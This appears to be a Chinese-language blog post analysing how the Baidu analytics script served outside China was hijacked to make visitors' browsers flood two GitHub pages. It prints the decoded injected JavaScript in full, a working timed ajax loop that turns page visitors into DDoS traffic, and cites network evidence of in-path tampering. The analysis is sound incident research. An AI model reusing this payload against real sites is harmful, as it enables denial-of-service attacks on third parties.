臨時解決方案:
修改hosts,添加""127.0.0.1 hm.baidu.com" 。
詳細原因分析:今天中午刷著全國最大的資訊安全從業人員同性交友社區zone.wooyun.org的時候,忽然瀏覽器每隔2秒就不斷的彈窗:
malicious javascript detected on this domain
我第一反應就是不知道哪個調皮的基友又把zone給XSS了,馬上開啟開發人員工具分析。
0x01 細節
之後立刻發現彈窗的js居然是從github載入的:
可是為什麼烏雲會從github載入js呢,並且還是從greatfire和紐約時報鏡像載入。
第一反應是頁面有xss或者js被劫持了,找了半天終於找到了,居然是
hm.baidu.com/h.js
這個js的確被烏雲載入了沒錯,這是百度統計的js代碼,開啟后里面是一個簡單加密後的js,eval了一串編碼後的內容,隨便找了個線上解密看了下,發現如下內容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>x3c/script>"); !window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>x3c/script>"); startime = (new Date).getTime(); var count = 0; function unixtime() { var a = new Date; return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3 } url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"]; NUM = url_array.length; function r_send2() { var a = unixtime() % NUM; get(url_array[a]) } function get(a) { var b; $.ajax({ url: a, dataType: "script", timeout: 1E4, cache: !0, beforeSend: function() { requestTime = (new Date).getTime() }, complete: function() { responseTime = (new Date).getTime(); b = Math.floor(responseTime - requestTime); 3E5 > responseTime - startime && (r_send(b), count += 1) } }) } function r_send(a) { setTimeout("r_send2()", a) } setTimeout("r_send2()", 2E3); |
大概功能就是關閉緩衝後每隔2秒載入一次
url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];
裡面的兩個url
問了下牆內的小夥伴們,他們看到的js都是正常的,但是通過牆外ip訪問
http://hm.baidu.com/h.js
就會得到上面的js檔案,每隔2秒請求一下這兩個url。
開啟twitter看了下,似乎從3月18號以來Github就受到了DDoS攻擊,之後greatfire把被攻擊的頁面內容換成了
1 |
alert("WARNING: malicious javascript detected on this domain") |
以彈窗的方式阻止了js的迴圈執行。
圖3 國外ip traceroute到hm.baidu.com的記錄
似乎DNS並沒有被劫持,看來是像之前一樣直接把IP劫持了或者直接在HTTP協議裡替換檔案。
掃了下連接埠,只開了80和443,通過https協議訪問後是正常的空頁面(只有帶referer才會出現js檔案)。
作者要進行抓包分析時劫持已經停止,在twitter上看到有人已經分析過引用如下:
抓包跟蹤,正常百度伺服器返回給我日本VPS的TTL為51, RESP返回HTTP 200 OK的報文的TTL是47,可以確定的是有中間裝置對VPS發了偽造報文。
真是無恥,呵呵
忽然想起一句話,之前DNS被劫持到外國伺服器的時候某站長說的:
They have weaponized their entire population.
現在應該是:
They have weaponized their entire population of the Earth.